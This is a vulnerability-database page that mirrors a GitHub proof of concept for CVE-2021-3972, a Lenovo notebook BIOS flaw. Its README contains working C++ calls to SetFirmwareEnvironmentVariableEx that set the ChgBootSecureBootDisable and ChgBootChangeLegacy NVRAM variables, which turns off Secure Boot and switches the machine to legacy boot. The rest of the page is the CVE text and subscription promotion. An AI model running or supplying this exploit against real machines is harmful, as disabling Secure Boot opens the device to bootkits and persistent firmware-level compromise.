CVE-2021-3972 PoC — Lenovo Notebook 安全漏洞

Source

https://github.com/killvxk/CVE-2021-3972

Associated Vulnerability

Title:Lenovo Notebook 安全漏洞 (CVE-2021-3972)
Description:A potential vulnerability by a driver used during manufacturing process on some consumer Lenovo Notebook devices' BIOS that was mistakenly not deactivated may allow an attacker with elevated privileges to modify secure boot setting by modifying an NVRAM variable.

Description

just poc

Readme

# CVE-2021-3972

poc code without other thing

```c++
BYTE value = 0x1;
SetFirmwareEnvironmentVariableEx(_T("ChgBootSecureBootDisable"),_T("{6ACCE65D-DA35-4B39-B64B-5ED927A7DC7E}"),&value,sizeof(BYTE),0x7);
SetFirmwareEnvironmentVariableEx(_T("ChgBootChangeLegacy"),_T("{6ACCE65D-DA35-4B39-B64B-5ED927A7DC7E}"),&value,sizeof(BYTE),0x7);
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!